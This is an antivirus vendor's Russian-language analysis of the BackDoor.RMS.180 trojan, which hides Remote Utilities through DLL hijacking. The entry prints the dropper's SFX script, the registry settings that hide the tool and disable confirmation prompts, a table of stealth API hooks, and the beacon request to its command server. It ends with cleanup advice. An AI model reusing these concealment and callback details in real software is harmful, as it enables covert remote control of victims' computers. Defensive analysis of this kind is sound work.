Поддержка
Круглосуточная поддержка

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

BackDoor.RMS.180

Добавлен в вирусную базу Dr.Web: 2020-11-02

Описание добавлено:

Упаковщик: нет

Дата компиляции:

02.11.2020 00:26:28

SHA1-хеш:

  • c3e619d796349f2f1efada17c9717cf42d4b77e2

Описание

Троян-бэкдор, работающий в среде 32- и 64-битных операционных систем семейства Microsoft Windows. Бэкдор написан с использованием компонентов программы для удаленного администрирования Remote Utilities. Распространялся в составе самораспаковывающегося WinRAR-архива (7192d71d5a57e057a76f7b1857ab7d0c9ca2bf11) с помощью фишинговых рассылок. Предназначен для удаленного управления зараженным компьютером.

Принцип действия

Самораспаковывающийся архив запускается следующим скриптом:

;Розміщений нижче коментар містить команди SFX-скрипта
Path=%APPDATA%\Macromedia\Temp\
Setup=WinPrint.exe
Silent=1
Overwrite=2

Состав самораспаковывающегося дроппера:

  • libeay32.dll (f54a31a9211f4a7506fdecb5121e79e7cdc1022e), чистый;
  • ssleay32.dll (18ee67c1a9e7b9b82e69040f81b61db9155151ab), чистый;
  • UniPrint.exe (71262de7339ca2c50477f76fcb208f476711c802), подписан действительной подписью;
  • WinPrint.exe (3c8d1dd39b7814fdc0792721050f953290be96f8), подписан действительной подписью;
  • winspool.drv (c3e619d796349f2f1efada17c9717cf42d4b77e2) — основной вредоносный модуль, загружаемый с помощью DLL Hijacking. Обеспечивает скрытое функционирование Remote Utilities.

Подпись UniPrint.exe:

.>sigcheck -a UniPrint.exe:
Verified:       Signed
Signing date:   16:46 02.07.2019
Publisher:      Remote Utilities LLC
Company:        Remote Utilities LLC
Description:    Remote Utilities - Host
Product:        Remote Utilities
Prod version:   6.10.10.0
File version:   6.10.10.0
MachineType:    32-bit
Binary Version: 6.10.10.0
Original Name:  n/a
Internal Name:  n/a
Copyright:      Copyright © 2019 Remote Utilities LLC. All rights reserved.
Comments:       n/a
Entropy:        6.359

Подпись WinPrint.exe:

.>sigcheck -a WinPrint.exe:
Verified:       Signed
Signing date:   14:59 29.06.2017
Publisher:      Ter-Osipov Aleksey Vladimirovich
Company:        n/a
Description:    Virtual Printer Properties Module
Product:        RMS Printer
Prod version:   1.0
File version:   1.0
MachineType:    32-bit
Binary Version: 1.0.0.0
Original Name:  n/a
Internal Name:  n/a
Copyright:      n/a
Comments:       n/a
Entropy:        6.169

Таблица экспортируемых функций модуля winspool.drv выглядит следующим образом:

118  RemoveYourMom
119  AddFormW
144  ClosePrinter
148  OpenDick
156  DeleteFormW
189  DocumentPropertiesW
190  HyXyJIuHagoToA
195  EnumFormsW
203  GetDefaultPrinterW
248  EnumPrintersW
273  GetFormW
303  OpenPrinterW
307  PrinterProperties

Функции, отсутствующие в оригинальном модуле winspool.drv и не несущие функциональной нагрузки:

#drweb BackDoor.RMS.180

Экспортируемые функции с реальными именами содержат переходы к загружаемым в дальнейшем оригинальным функциям из легитимной библиотеки.

#drweb BackDoor.RMS.180

DllMain

Некоторые API-функции выполняются через указатели на функции-переходники:

#drweb BackDoor.RMS.180

#drweb BackDoor.RMS.180

Функция get_proc ищет необходимую API-функцию разбором таблицы экспорта модуля, затем помещает найденный адрес вместо функции-переходника.

На первом этапе загружает подмененную библиотеку. Имя не зашито жестко, поэтому загружает библиотеку <system_directory>\<module_filename>. Затем проходит свою таблицу экспорта и загружает оригинальные API-функции по ординалам, пропуская недействительные функции:

RemoveYourMom
OpenDick
HyXyJIuHagoToA

#drweb BackDoor.RMS.180

Затем бэкдор проверяет, в контексте какого исполняемого файла он работает. Для этого проверяет значение IMAGE_NT_HEADERS.OptionalHeader.CheckSum основного исполняемого модуля:

  • значение равно 0x2ECF3 — первичный запуск с WinPrint.exe;
  • значение равно 0xC9FBD1 — работа в контексте UniPrint.exe.

Если запущен WinPrint.exe, бэкдор создает процесс UniPrint.exe и завершает работу.

UniPrint.exe

Когда запущен UniPrint.exe, бэкдор переходит к выполнению основных функций. Проверяет, имеет ли пользователь права доступа администратора. Затем устанавливает права доступа на директорию с модулем:

#drweb BackDoor.RMS.180

После этого записывает параметры General и Security в ключ реестра HKCU\SOFTWARE\WDMPrint.

Значение параметра General:

<?xml version="1.0" ?>
<general_settings version="69110">
    <port>5650</port>
    <hide_tray_icon_popup_menu>true</hide_tray_icon_popup_menu>
    <tray_menu_hide_stop>true</tray_menu_hide_stop>
    <language>English</language>
    <callback_auto_connect>true</callback_auto_connect>
    <callback_connect_interval>60</callback_connect_interval>
    <protect_callback_settings>false</protect_callback_settings>
    <protect_inet_id_settings>false</protect_inet_id_settings>
    <use_legacy_capture>false</use_legacy_capture>
    <do_not_capture_rdp>true</do_not_capture_rdp>
    <use_ip_v_6>false</use_ip_v_6>
    <log_use>false</log_use>
    <notify_show_panel>false</notify_show_panel>
    <notify_change_tray_icon>false</notify_change_tray_icon>
    <notify_ballon_hint>false</notify_ballon_hint>
    <notify_play_sound>false</notify_play_sound>
    <notify_panel_x>-1</notify_panel_x>
    <notify_panel_y>-1</notify_panel_y>
    <disable_internet_id>false</disable_internet_id>
    <safe_mode_set>false</safe_mode_set>
    <show_id_notification>false</show_id_notification>
    <show_id_notification_request>true</show_id_notification_request>
    <integrate_firewall_at_startup>true</integrate_firewall_at_startup>
</general_settings>

Значение параметра Security:

<?xml version="1.0" ?>
<security_settings version="69110">
    <single_password_hash>EEACE8FF203A9678664A51DA07E0ED76641C1F06570B2793A452CD521A1ABD8E6938A54AF36861B5AF21CA3EC485B0D19DFC6827862EB7ECA017DE035F9B5F15</single_password_hash>
    <ip_filter_type>2</ip_filter_type>
    <auth_kind>1</auth_kind>
    <otp_enable>false</otp_enable>
    <user_permissions_ask>false</user_permissions_ask>
    <user_permissions_interval>10000</user_permissions_interval>
    <user_permissions_allow_default>false</user_permissions_allow_default>
    <user_permissions_only_if_user_logged_on>false</user_permissions_only_if_user_logged_on>
    <disable_remote_control>false</disable_remote_control>
    <disable_remote_screen>false</disable_remote_screen>
    <disable_file_transfer>false</disable_file_transfer>
    <disable_redirect>false</disable_redirect>
    <disable_telnet>false</disable_telnet>
    <disable_remote_execute>false</disable_remote_execute>
    <disable_task_manager>false</disable_task_manager>
    <disable_shutdown>false</disable_shutdown>
    <disable_remote_upgrade>true</disable_remote_upgrade>
    <disable_preview_capture>false</disable_preview_capture>
    <disable_device_manager>false</disable_device_manager>
    <disable_chat>true</disable_chat>
    <disable_screen_record>false</disable_screen_record>
    <disable_av_capture>false</disable_av_capture>
    <disable_send_message>true</disable_send_message>
    <disable_registry>false</disable_registry>
    <disable_av_chat>false</disable_av_chat>
    <disable_remote_settings>false</disable_remote_settings>
    <disable_remote_printing>false</disable_remote_printing>
    <disable_rdp>false</disable_rdp>
</security_settings>

Затем подготавливает значение параметра InternetID с помощью форматной строки:

<?xml version="1.0" ?>
<rms_internet_id_settings version="69110">
    <use_inet_connection>true</use_inet_connection>
    <use_custom_inet_server>%s</use_custom_inet_server>
    <inet_server>%s</inet_server>
    <inet_id_port>%s</inet_id_port>
    <use_inet_id_ipv6>false</use_inet_id_ipv6>
    <inet_id_use_pin>false</inet_id_use_pin>
</rms_internet_id_settings>

В рассматриваемом образце значение <use_custom_inet_server> устанавливается в false, а <inet_server> и <inet_id_port> остаются пустыми:

#drweb BackDoor.RMS.180

Затем бэкдор создает скрытые окна MDICLIENT и RMSHDNLT:

#drweb BackDoor.RMS.180

После этого приступает к перехвату API-функций. Для этого использует библиотеку MinHook:

#drweb BackDoor.RMS.180

Список перехватываемых функций представлен в таблице:

Имя модуля Имя API-функции Функциональность
kernel32.dll CreateToolhelp32Snapshot Всегда возвращает значение 0xFFFFFFFF.
OutputDebugStringW Функциональность отсутствует.
GetFileAttributesW

Для файлов rutserv.exe и rfusclient.exe возвращает значение FILE_ATTRIBUTE_NORMAL. Для файла English.lg возвращает INVALID_FILE_ATTRIBUTES.

В остальных случаях вызывает оригинальную API-функцию.

CreateFileW

Если запрашивается имя пайпа (\\.\PIPE\), содержащее одну из строк: RMan, RMS, Buh, {52E6, то добавляет к имени строку HDLT и передает его оригинальной функции.

Если имя содержит rutserv.exe и рабочую директорию, то подменяет на имя исполняемого модуля и передает оригинальной функции.

В остальных случаях вызывает оригинальную функцию.

GetTempPathW Возвращает рабочую директорию.
CreateNamedPipeW

Если запрашивается имя пайпа (\\.\PIPE\), содержащее одну из строк: RMan, RMS, Buh, {52E6, то добавляет к имени пайпа HDLT.

Если необходимых подстрок нет, то вызывает оригинальную функцию.

FindFirstFileW

Если аргумент lpFileName содержит rutserv.exe или *, то проверяет наличие файла UniPrint.exe в рабочей директории и возвращает структуру WIN32_FIND_DATAW с именем файла rutserv в рабочей директории.

Если запрашиваются файлы *.lg или *.dll, то возвращает код ошибки INVALID_HANDLE_VALUE. В остальных случаях вызывает оригинальную функцию.

CreateDirectoryW

Если имя создаваемой директории содержит Remote Utilities Agent или rutserv.madExcept, то возвращает 0 (ERROR_SUCCESS).

В остальных случаях вызывает оригинальную функцию.

GetModuleFileNameW

Если аргумент hModule равен 0x400000 (ImageBase исполняемого модуля), то возвращает имя <work_dir>\"rutserv.exe".

В остальных случаях вызывает оригинальную функцию.

CreateProcessW

Если имя приложения или командная строка содержат rfusclient.exe, то возвращает единицу (успех).

В остальных случаях вызывает оригинальную функцию.

GetCommandLineW Вызывает оригинальную функцию, к результату добавляет -second и возвращает полученную строку.
CreateEventW

Если имя события Global\\RMSServer, то добавляет строку HDLT, затем вызывает оригинальную функцию.

#drweb BackDoor.RMS.180

Также могут добавляться иные значения. В рассматриваемом образце они равны нулю.

wintrust.dll WinVerifyTrust Всегда возвращает ноль, т. е. запрашиваемый объект является доверенным.
shell32.dll SHGetSpecialFolderLocation Если аргумент csidl равен CSIDL_APPDATA, то возвращает ноль (неудача); иначе вызывает оригинальную функцию.
Shell_NotifyIconW Всегда возвращает единицу (успех).
advapi32.dll RegCreateKeyExW

Если запрашивается ключ SYSTEM\Remote Utilities, то возвращает ERROR_ACCESS_DENIED.

Если запрашивается ключ SOFTWARE\Usoris или SOFTWARE\Remote Utilities, то подменяет значение ключа на SOFTWARE\WDMPrint (куда ранее были записаны параметры подключения), а раздел меняет на HKCU.

В остальных случаях вызывает оригинальную функцию.

RegOpenKeyExW Аналогично функции RegCreateKeyExW, но в случае запроса SYSTEM\Remote Utilities возвращает код ошибки ERROR_FILE_NOT_FOUND.
RegSetValueExW Если аргумент lpValueName равен одному из значений: FUSClientPath, General, CalendarRecordSettings, то возвращает ноль (S_OK); для остальных значений вызывает оригинальную функцию.
CreateProcessAsUserW Аналогично функции CreateProcessW.
OpenServiceW Если lpServiceName равен RManService, то возвращает ноль (неудача); для остальных значений вызывает оригинальную функцию.
CreateServiceW Аналогично функции OpenServiceW.
user32.dll MessageBoxA(W)

Один перехват для обеих версий функции (ASCII, Wide).

Если запрашивается окно с типом MB_YESNO или MB_YESNOCANCEL, то возвращает IDYES.

CreateWindowExW В данном перехватчике инициализируется соединение с управляющим сервером (см. ниже).
wtsapi32.dll WTSSendMessageW По аналогии с функцией MessageBox, если параметр Style соответствует значению MB_YESNO или MB_YESNOCANCEL, то возвращает IDYES; в ином случае возвращает IDOK.
ws2_32.dll bind

Если порт в структуре sockaddr равен значению 5655, хранимому в глобальной переменной bind_port, то подменяет IP-адрес на localhost. Предусмотрен вариант как для IPv4, так и IPv6.

В иных случаях вызывает оригинальную функцию.

htons

Если аргумент не равен 5650, то вызывает оригинальную функцию.

В противном случае создает TCP-сокет и пытается подключиться к localhost через порт bind_port. Если удалось подключиться, закрывает сокет, уменьшает значение порта на единицу и вызывает для полученного значение оригинал htons, после чего возвращает значение.

Если значение bind_port в начале выполнения функции уже меньше или равно 80, то подключение к localhost пропускается.

winmm.dll PlaySoundW Возвращает единицу.

CreateWindowExW

При перехвате функции CreateWindowExW проверяется имя класса создаваемого окна. Если оно равно TMessageForm, то функция возвращает ноль. Если создается дочернее окно (WS_CHILDWINDOW или WS_EX_CHILDWINDOW), то значение дескриптора родительского окна подменяется на дескриптор ранее созданного окна MDICLIENT. Если создается окно TEdit, содержащее ID подключения, то дескриптор этого окна сохраняется в глобальной переменной. Далее инициализируются Windows Sockets API (WSA) и SSL (библиотека SSLEAY32.dll). После этого бэкдор прописывается в RunOnce под именем Virtual Printer Driver с запуском WinPrint.exe.

#drweb BackDoor.RMS.180

После этого создается поток для соединения с управляющим сервером.

Соединение с управляющим сервером

Вначале по дескриптору окна TEdit с помощью функции GetWindowTextA бэкдор получает InternetID, необходимый для удаленного подключения. Затем формирует GET-запрос вида:

GET /command.php?t=2&id=<Internet-ID> HTTP/1.1
Host: wsus.ga
Accept-Charset: UTF-8
User-Agent: Mozilla/5.0 (Windows NT)
Connection: close

Далее создает TCP-сокет. После этого проверяет значение глобальной переменной, в которой хранится порт для подключения с использованием протокола SSL (в рассматриваемом образце равен нулю). Если порт не равен нулю, то соединение выполняется по SSL посредством функций библиотеки SSLEAY32.dll. Если порт не задан, бэкдор подключается через порт 80.

Далее отправляет сформированный запрос. Если ответ получен, то ожидает в течение минуты и повторно отправляет запрос с InternetID. Если ответа нет, то повторяет запрос через 2 секунды. Отправка происходит в бесконечном цикле.

Рекомендации по лечению

  1. В случае если операционная система способна загрузиться (в штатном режиме или режиме защиты от сбоев), скачайте лечащую утилиту Dr.Web CureIt! и выполните с ее помощью полную проверку вашего компьютера, а также используемых вами переносных носителей информации.
  2. Если загрузка операционной системы невозможна, измените настройки BIOS вашего компьютера, чтобы обеспечить возможность загрузки ПК с компакт-диска или USB-накопителя. Скачайте образ аварийного диска восстановления системы Dr.Web® LiveDisk или утилиту записи Dr.Web® LiveDisk на USB-накопитель, подготовьте соответствующий носитель. Загрузив компьютер с использованием данного носителя, выполните его полную проверку и лечение обнаруженных угроз.
Скачать Dr.Web

По серийному номеру

Выполните полную проверку системы с использованием Антивируса Dr.Web Light для macOS. Данный продукт можно загрузить с официального сайта Apple App Store.

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Скачать Dr.Web

По серийному номеру

  1. Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light. Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
  2. Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
    • загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
    • после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
    • выключите устройство и включите его в обычном режиме.

Подробнее о Dr.Web для Android

Демо бесплатно на 14 дней

Выдаётся при установке